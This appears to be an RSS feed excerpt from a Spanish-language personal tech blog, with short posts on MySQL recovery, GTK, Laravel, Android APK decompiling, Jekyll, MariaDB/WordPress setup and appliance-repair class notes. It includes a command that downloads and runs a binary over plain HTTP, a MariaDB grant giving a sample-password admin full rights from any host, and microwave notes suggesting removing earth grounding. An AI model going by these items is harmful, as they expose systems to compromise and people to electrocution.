<p><a href="https://medium.com/@ilhamrisky21/restore-database-from-frm-and-ibd-files-easy-way-using-laragon-mysql-8b8d8cb73ffe">https://medium.com/@ilhamrisky21/restore-database-from-frm-and-ibd-files-easy-way-using-laragon-mysql-8b8d8cb73ffe</a></p>
<p><a href="https://learn.microsoft.com/en-us/answers/questions/387106/how-to-recover-sql-just-from-frm-and-ibd-files">https://learn.microsoft.com/en-us/answers/questions/387106/how-to-recover-sql-just-from-frm-and-ibd-files</a></p>
<p><a href="https://old.reddit.com/r/mysql/comments/15yzjrf/rebuild_a_broken_mysql_database_using_frm_or_ibd/">https://old.reddit.com/r/mysql/comments/15yzjrf/rebuild_a_broken_mysql_database_using_frm_or_ibd/</a></p>
<p><a href="https://www.cigatisolutions.com/blog/recover-mysql-database-from-frm-and-ibd-files/">https://www.cigatisolutions.com/blog/recover-mysql-database-from-frm-and-ibd-files/</a></p>
<p><a href="https://gist.github.com/luqmansungkar/a291fa4e9bf4b2b0dd011ad286cbcb13">https://gist.github.com/luqmansungkar/a291fa4e9bf4b2b0dd011ad286cbcb13</a></p>
<hr>
<p>Descargá dbsake:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s http://get.dbsake.net > dbsake
</span></span><span style="display:flex;"><span>chmod u+x dbsake
</span></span><span style="display:flex;"><span>./dbsake --version
</span></span></code></pre></div><p>Extraé la información de la estructura de la tabla del archivo .frm usando dbsake:
<code>./dbsake frmdump /path/to/file.frm</code></p>
<p>Usá la estructura de la tabla extraída para recrear la tabla. También podés recrear múltiples tablas usando el siguiente comando:</p>
-
Gui gtk en C
https://imlauera.github.io/post/gui_gtk_in_c/
Wed, 18 Sep 2024 10:23:19 -0300
https://imlauera.github.io/post/gui_gtk_in_c/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get install libgtk2.0-dev
</span></span><span style="display:flex;"><span>pkg-config --list-all|grep gtk
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// COMPILE (GTK2): gcc main.c -o main `pkg-config --cflags gtk+-2.0` `pkg-config --libs gtk+-2.0`
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// COMPILE (GTK3): gcc main.c -o main `pkg-config --cflags gtk+-3.0` `pkg-config --libs gtk+-3.0`
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><gtk/gtk.h> </span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> counter <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">greet</span>(GtkWidget<span style="color:#f92672">*</span> widget, gpointer data)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// printf equivalent in GTK+
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">g_print</span>(<span style="color:#e6db74">"Welcome to GTK</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">g_print</span>(<span style="color:#e6db74">"%s clicked %d times</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,
</span></span><span style="display:flex;"><span> (<span style="color:#66d9ef">char</span><span style="color:#f92672">*</span>)data, <span style="color:#f92672">++</span>counter);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">destroy</span>(GtkWidget<span style="color:#f92672">*</span> widget, gpointer data)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gtk_main_quit</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span><span style="color:#f92672">*</span> argv[])
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> GtkWidget<span style="color:#f92672">*</span> window;
</span></span><span style="display:flex;"><span> GtkWidget<span style="color:#f92672">*</span> button;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gtk_init</span>(<span style="color:#f92672">&</span>argc, <span style="color:#f92672">&</span>argv);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> window <span style="color:#f92672">=</span> <span style="color:#a6e22e">gtk_window_new</span>(GTK_WINDOW_TOPLEVEL);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">g_signal_connect</span>(window, <span style="color:#e6db74">"destroy"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">G_CALLBACK</span>(destroy), NULL);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* Let's set the border width of the window to 20.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * You may play with the value and see the
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * difference. */</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gtk_container_set_border_width</span>(<span style="color:#a6e22e">GTK_CONTAINER</span>(window), <span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> button <span style="color:#f92672">=</span> <span style="color:#a6e22e">gtk_button_new_with_label</span>(<span style="color:#e6db74">"Click Me!"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">g_signal_connect</span>(<span style="color:#a6e22e">GTK_OBJECT</span>(button),
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"clicked"</span>, <span style="color:#a6e22e">G_CALLBACK</span>(greet),
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"button"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gtk_container_add</span>(<span style="color:#a6e22e">GTK_CONTAINER</span>(window), button);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gtk_widget_show_all</span>(window);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gtk_main</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Laravel: registro usuarios, inicio y cierre de sesión
https://imlauera.github.io/post/laravel_inicio_registro_cierre/
Tue, 17 Sep 2024 16:48:00 -0300
https://imlauera.github.io/post/laravel_inicio_registro_cierre/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y composer
</span></span><span style="display:flex;"><span>composer create-project laravel/laravel auth-laravel
</span></span><span style="display:flex;"><span>cd auth-laravel
</span></span><span style="display:flex;"><span>php artisan serve
</span></span><span style="display:flex;"><span>cd auth-laravel
</span></span><span style="display:flex;"><span>vim .env
</span></span><span style="display:flex;"><span>php artisan migrate
</span></span><span style="display:flex;"><span>php artisan make:controller AuthController
</span></span></code></pre></div><h3 id="creamos-controlador">Creamos controlador</h3>
<p>Funciones para el inicio de sesión, autenticación, registro, almacenamiento y cierre de sesión:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672"><?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">namespace</span> <span style="color:#a6e22e">App\Http\Controllers</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">use</span> <span style="color:#a6e22e">Illuminate\Http\Request</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">AuthController</span> <span style="color:#66d9ef">extends</span> <span style="color:#a6e22e">Controller</span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">login</span>()
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">view</span>(<span style="color:#e6db74">'auth.login'</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">register</span>()
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">view</span>(<span style="color:#e6db74">'auth.register'</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">authenticate</span>(<span style="color:#a6e22e">Request</span> $request)
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># code...
</span></span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">store</span>(<span style="color:#a6e22e">Request</span> $request)
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># code...
</span></span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">lgout</span>(<span style="color:#a6e22e">Request</span> $request)
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># code...
</span></span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="crear-rutas">Crear rutas</h3>
<p>vim <code>rutas/web.php</code></p>
-
Android App Reverse Engineering
https://imlauera.github.io/post/android_reversing/
Tue, 17 Sep 2024 13:56:22 -0300
https://imlauera.github.io/post/android_reversing/
<p><a href="https://redirect.invidious.io/playlist?list=PL3jdfxUyXxoyG6qEkaTMq0iWaaVps2SLa">https://redirect.invidious.io/playlist?list=PL3jdfxUyXxoyG6qEkaTMq0iWaaVps2SLa</a></p>
<p><a href="https://odysee.com/@jadebayo:6/reverse-engineering-an-android-app:e">https://odysee.com/@jadebayo:6/reverse-engineering-an-android-app:e</a></p>
<p><a href="https://redirect.invidious.io/watch?v=UwFXndJH_34&list=PLhjZWEsxrYGpxhiSsVgyPM0kLn6EV_GXt&index=12">https://redirect.invidious.io/watch?v=UwFXndJH_34&list=PLhjZWEsxrYGpxhiSsVgyPM0kLn6EV_GXt&index=12</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y jadx
</span></span><span style="display:flex;"><span>jadx-gui
</span></span></code></pre></div><p>Cargá el APK, podés bajar cualquier apk de la fdroid</p>
<p><a href="https://github.com/pxb1988/dex2jar/releases">https://github.com/pxb1988/dex2jar/releases</a></p>
<p><a href="https://java-decompiler.github.io">https://java-decompiler.github.io</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>adb shell pm list packages | grep virtualmic
</span></span><span style="display:flex;"><span>package: tech....
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>adb shell pm path tech.smallwonder.androidvirtualmic
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>adb shell pull /date/app/tech....==/base.apk pulled.apk
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>unzip pulled.apk
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>cd pulled
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>cd Downloads/dex-tools-2.2-SNAPSHOT
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>./d2j-dex2jar.sh classes.dex classes2.dex
</span></span><span style="display:flex;"><span>Generará dos archivos .jar
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Que los cargaremos dentro de este programa (java-decompiler):
</span></span><span style="display:flex;"><span>java -jar Downloads/jd-gui-1.6.6.jar
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>y en classes2-dex2jar estaba todo el código.
</span></span></code></pre></div>
-
Insertar texto al final de una línea
https://imlauera.github.io/post/insertar_algo_al_final/
Tue, 17 Sep 2024 07:45:00 -0300
https://imlauera.github.io/post/insertar_algo_al_final/
<p>Es tremendamente fácil en vim, seleccioná todas las línes con Escape+shift+v : norm A para insertar al final y :norm I para insertar al comienzo.</p>
-
Una de las ventajas de usar Kali
https://imlauera.github.io/post/ventaja_kali/
Mon, 16 Sep 2024 17:41:39 -0300
https://imlauera.github.io/post/ventaja_kali/
<p>Les cuento una ventaja de usar KaliLinux aunque a mi tampoco me gusta, si escribís un comando inexistente en la consola, automáticamente a que paquete pertenece el comando</p>
<p><img src="https://imlauera.github.io/img/cdp.png" alt="cdp"></p>
<p>Me detectó que el comando cdp pertenece al paquete irpas. Tiro el dato por si alguno le interesa, ya sé que en debian también lo podés configurar pero en kali viene así por defecto</p>
-
"Freelancer"
https://imlauera.github.io/post/freelancer/
Mon, 16 Sep 2024 17:20:37 -0300
https://imlauera.github.io/post/freelancer/
<p><strong>Páginas para trabajar freelancing:</strong></p>
<ol>
<li>Fiverr</li>
<li>Bark.com</li>
<li>Toptal</li>
<li>Skyword360</li>
<li>CloudDevs.com</li>
<li>Freelancer.com</li>
<li>PeoplePerHour.com</li>
<li>Guru.com</li>
<li>angel.co</li>
<li><a href="https://tskr.com/">https://tskr.com/</a></li>
</ol>
<p>Algo horrible de las páginas de freelancer que no te cuentan:</p>
<p><img src="https://imlauera.github.io/img/freelancer.png" alt="out of bids"></p>
<p><code>It looks like you're out of bids. Get more bids now, by purchasing a Bid Pack or upgrading your Membership.</code></p>
<p><img src="https://imlauera.github.io/img/bids.png" alt="bids"></p>
<p>Es recomendable poner un número limitado de revisiones sino te piden cantidad de veces para que rehagas el trabajo.</p>
<p><a href="https://m.youtube.com/watch?v=Xh8LBR23U6U">https://m.youtube.com/watch?v=Xh8LBR23U6U</a></p>
-
Jekyll: howto
https://imlauera.github.io/post/jekyll_howto/
Mon, 16 Sep 2024 16:35:19 -0300
https://imlauera.github.io/post/jekyll_howto/
<p>Se pronuncia yakol. Sirve para generar páginas webs estáticas con capacidades de blog.</p>
<p><a href="https://dontusesystemruby.com/#/">https://dontusesystemruby.com/#/</a></p>
<p><a href="https://stackoverflow.com/questions/75527034/struggling-with-bundle-install-could-not-delete-previous-installation-permi">https://stackoverflow.com/questions/75527034/struggling-with-bundle-install-could-not-delete-previous-installation-permi</a><br>
<a href="https://github.com/rbenv/rbenv#uninstalling-rbenv">https://github.com/rbenv/rbenv#uninstalling-rbenv</a></p>
<h3 id="rápida-instalación">Rápida instalación</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gem install jekyll bundler
</span></span><span style="display:flex;"><span>jekyll new myblog
</span></span><span style="display:flex;"><span>cd myblog
</span></span><span style="display:flex;"><span>bundle exec jekyll serve
</span></span></code></pre></div><p>Instalará el <code>theme: minima</code> que te putea por algo del sass, tenés que agregar en <code>_config.yml</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sass:
</span></span><span style="display:flex;"><span> quiet_deps: true
</span></span></code></pre></div><p>Para tener el comando <code>jekyll post</code> hay que instalar <a href="https://github.com/jekyll/jekyll-compose">jekyll-compose</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gem <span style="color:#e6db74">'jekyll-compose'</span>, group: <span style="color:#f92672">[</span>:jekyll_plugins<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>bundle
</span></span></code></pre></div><p>Si te tira un <code>error installing</code> algo bigdecimal o hace esto:</p>
-
Enviar una simple consulta HTTP usando curl en C
https://imlauera.github.io/post/send_http_request_using_curl/
Mon, 16 Sep 2024 08:12:49 -0300
https://imlauera.github.io/post/send_http_request_using_curl/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// Compile: gcc curlcurl.c -o curlcurl -lcurl
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><curl/curl.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>CURL <span style="color:#f92672">*</span>curl <span style="color:#f92672">=</span> <span style="color:#a6e22e">curl_easy_init</span>();
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">curl_easy_setopt</span>(curl, CURLOPT_URL,
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"https://imlauera.github.io/index.xml"</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">curl_easy_perform</span>(curl);
</span></span></code></pre></div><p><a href="https://curl.se/libcurl/c/example.html">https://curl.se/libcurl/c/example.html</a> <br>
<a href="https://curl.se/libcurl/c/simple.html">https://curl.se/libcurl/c/simple.html</a></p>
-
Como descargar hilo entero de un Foro vBulletin
https://imlauera.github.io/post/como_descargar_foro_vbulletin/
Sun, 15 Sep 2024 13:27:47 -0300
https://imlauera.github.io/post/como_descargar_foro_vbulletin/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> id in <span style="color:#f92672">{</span>1..772<span style="color:#f92672">}</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> wget -E --follow-tags<span style="color:#f92672">=</span>a --reject <span style="color:#e6db74">'*.js,*.css,*.ico,*.txt,*.gif,*.jpg,*.jpeg,*.png,*.mp3,*.pdf,*.tgz,*.flv,*.avi,*.mpeg,*.iso'</span> --header<span style="color:#f92672">=</span><span style="color:#e6db74">"Accept: text/html"</span> <span style="color:#e6db74">"https://mipagina.com.ar/threads/3934819-mi-hilo/page</span>$id<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div>
-
Openbsd: Instalación y configuración
https://imlauera.github.io/post/openbsd_install/
Sat, 14 Sep 2024 18:41:20 -0300
https://imlauera.github.io/post/openbsd_install/
<p>Mejores computadoras para correr openbsd: lenovo thinkpad t420 agregale un ssd, 8 gbde ram. nvidia no funciona bien con openbsd.</p>
<p>Computadoras que corren bien con openbsd: <br>
<a href="https://jcs.org/tagged/openbsd">https://jcs.org/tagged/openbsd</a><br>
<a href="https://jcs.org/2021/07/19/desktop">https://jcs.org/2021/07/19/desktop</a></p>
<p>Zaney: <a href="https://redirect.invidious.io/channel/UCmw-QGOHbHA5cDAvwwqUTKQ">https://redirect.invidious.io/channel/UCmw-QGOHbHA5cDAvwwqUTKQ</a>
Dejó de usar openbsd por un problema de temperatura, pero hay una solución que se explicará acá: obsdfreqd</p>
<p><a href="https://redirect.invidious.io/playlist?list=PLbET-7keUM8qiNs0D7ya2cnu-n2y1JRwC">https://redirect.invidious.io/playlist?list=PLbET-7keUM8qiNs0D7ya2cnu-n2y1JRwC</a></p>
<p><a href="https://redirect.invidious.io/watch?v=DQrXvjV9lyQ">https://redirect.invidious.io/watch?v=DQrXvjV9lyQ</a></p>
<p><a href="https://redirect.invidious.io/watch?v=c5WnhxFx6P8">https://redirect.invidious.io/watch?v=c5WnhxFx6P8</a></p>
<p>Primero descargamos install-number.iso de la arquitectura de pc que estemos usando y también descargá el SHA256 y SHA256.sig</p>
<p>De esta primer parte me faltó lo que hace en archlinux en el 1er video.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 10) - Soldadura.
https://imlauera.github.io/post/clase10_aires/
Sat, 14 Sep 2024 17:20:57 -0300
https://imlauera.github.io/post/clase10_aires/
<h3 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube.</h3>
<p><a href="https://youtu.be/hOCHmhjBIPA">https://youtu.be/hOCHmhjBIPA</a></p>
<h3 id="audio-de-la-clase-en-invidious">Audio de la clase en Invidious.</h3>
<p><a href="https://redirect.invidious.io/watch?v=hOCHmhjBIPA">https://redirect.invidious.io/watch?v=hOCHmhjBIPA</a></p>
<h3 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo.</h3>
<p><a href="https://vocaroo.com/12XstpkMxjga">https://vocaroo.com/12XstpkMxjga</a></p>
<p><img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_100306794.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_101336674_HDR.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_104527139.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_104706064.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105303094.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105306988.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105316166.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105317657.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105331410.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105333746.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105336013_BURST000_COVER_TOP.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105336013_BURST001.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105336898_BURST000_COVER_TOP.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105336898_BURST001.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105339605.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105341643_BURST000_COVER_TOP.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105341643_BURST001.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105625110.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_105626384.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_110256108.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_111211921.jpg" alt="">
<img src="https://imlauera.github.io/img/clase10_aires/IMG_20240914_111527373_BURST000_COVER_TOP.jpg" alt=""></p>
<h3 id="videos">Videos:</h3>
<p><a href="https://youtu.be/c49zdlYBdjw">https://youtu.be/c49zdlYBdjw</a> <br>
(O miralo en invidious) <a href="https://redirect.invidious.io/watch?v=c49zdlYBdjw">https://redirect.invidious.io/watch?v=c49zdlYBdjw</a></p>
<p><a href="https://youtu.be/7ySbJCSdwwk">https://youtu.be/7ySbJCSdwwk</a> <br>
(O miralo en invidious) <a href="https://redirect.invidious.io/watch?v=7ySbJCSdwwk">https://redirect.invidious.io/watch?v=7ySbJCSdwwk</a></p>
<p><a href="https://youtube.com/shorts/7838DTYbNx8">https://youtube.com/shorts/7838DTYbNx8</a><br>
(O miralo en invidious) <a href="https://redirect.invidious.io/watch?v=7838DTYbNx8">https://redirect.invidious.io/watch?v=7838DTYbNx8</a></p>
-
Wordpress: HowTo
https://imlauera.github.io/post/wordpress_howto/
Fri, 13 Sep 2024 17:17:52 -0300
https://imlauera.github.io/post/wordpress_howto/
<p>Primero instalamos mariadb (alternativa open-source a mysql) la configuramos y creamos una base de datos y tabla prueba.</p>
<pre tabindex="0"><code>sudo apt update
sudo apt install -y mariadb-server
sudo systemctl start mariadb
sudo systemctl enable mariadb
sudo systemctl status mariadb
// sudo mysql_secure_installation (comando deprecado)
sudo mariadb-install-db
sudo mysql
grant all on *.* to 'admin'@'%' identified by 'myawesomepass' with grant option;
// O en vez de '%' podés usar 'localhost'
grant all on *.* to 'admin'@'localhost' identified by 'myawesomepass' with grant option;
</code></pre><p>Luego desde tu usuario normal:</p>
-
[AUDIO][APUNTE] Taller reparacion electrodomesticos (Clase 11) - Microondas: como cocina. Tienen transformador lineal. Microondas tiene duplicador de voltaje. 2000 voltios de alta. Magnetrón tiene un filamento delicado. Medir transformador de forma peligrosa: agregarle un transformador pequeño a la salida del transformador del microondas si ponemos transformador de 5 nos da 10 veces más en la salida es decir: 50 voltios. Medición diodo: se mide en ambos lados. Diodo rectifica con caída de tensión: hace caer voltaje. Página web graficos. El microonda calienta por agua. Electricidad es energía electromagnética porque por cualquier conductor que pasa la electricidad genera campo magnético. campo magnético se puede usar para muchas cosas como venimos hablando: para arrancar un relay. Gracias al campo magnético variable yo puedo hacer la transformación de energía. En la corriente continua no puedo transformar porque no hay variaciones de polo tengo que crear algún tipo de circuito oscilante para que si pueda servir para poner un transformador es decir fuente switching. Para sacar 220 de una batería de un auto tenés que tener una fuente de pulsos y un transformador. No se debe colocar nunca ningún componente metálico del microonda porque el magnetismo y la electricidad están muy hermanados. Electricidad y magnetismo lo más importante. Quema de placas causas comunes: blocapuertas, termoactuador, 410 refrigerante. Dividir en etapa de potencia y control para identificar problemas. Plancha: mandamos corriente al termostato y luego a la resistencia. Anécdota: tipo que pensó que el transformador del microondas era switching y en realidad era lineal. Tranformador ferrita (switching). Transformador hierro al silicio (lineal). Transformador ferrita no se puede reemplazar por más que tenga mismo voltaje porque la frecuencia es distinta. Doblador de voltaje con diodo y capacitor de 4 voltios a 8 voltios pero necesito potencia. Potencia es tensión por intensidad. Voy a encontrar 3 cables: 2 con 3 voltios y 1 con 2000 voltios pero tengo que encontrar el 4to cable: 1 de estas conexiones del capacitor al diodo y el otro extremo del capacitor voy a tener puesto a tierra para que me pueda cerrar el circuito. Cortar la tierra de la ducha eléctrica, aires viejos para que no corte diyuntor. Diodo rectificador.Por qué no explota el filamento si a un foquito de 12 voltios le pongo 220 y explota: porque no está conectado a tierra. Tenemos que unir 2000 voltios con 3 voltios. ¿Por qué no explota el filamento del microondas, si a un foquito de 12 voltios le pongo 220 y explota?: porque no está conectado a tierra (no hay trabajo eléctrico pero sí hay tensión). Cuando un microondas funciona lo único que controla es el transformador. Si esto es fasto macho esto es fasto hembra, y para aislar parte potencia parte control tenés que desconectar, esta es la parte primaria del transformador. Entra por el primario luego viene un secundario de baja y otro de alta. Tenés que aislar el primario de 220. El cátodo del diodo está puesto a tierra. El diodo es robusto. Nunca toquen capacitor microondas (4000 v). Donde comprar lamparas incandecentes. En el magnetrón se puede medir 2 cosas: medir continuidad filamento y medí con el tester a ver si el colector que tengo acá NO está descargado en tierra, si da tierra no sirve más magnetrón. Imanes si están rotos no sirven. CUIDADO DE NO GOLPEAR EL MAGNETRON TIENE UN FILAMENTO Y SE ROMPE FÁCIL. Consejo al desarmar separar bien tornillos. Nunca use un microondas si no funciona el ventilador sin eso explota el imán. Siempre limpiar fan microondas. Al medir capacitor hay que esperar un tiempo no es como medir resistencia. Cagó capacitor no llega a 1 microfaradio y tiene que llegar a 1000. Diodos de umbral tiene 4 voltios y estos muchas veces no entregan 3 voltios. El voltaje positivo pasa del ánodo hacia el cátodo. El profesor cagó el que mide capacitor del tester. El diodo hace caer el voltaje con una batería de 9 te mide 5,7 si 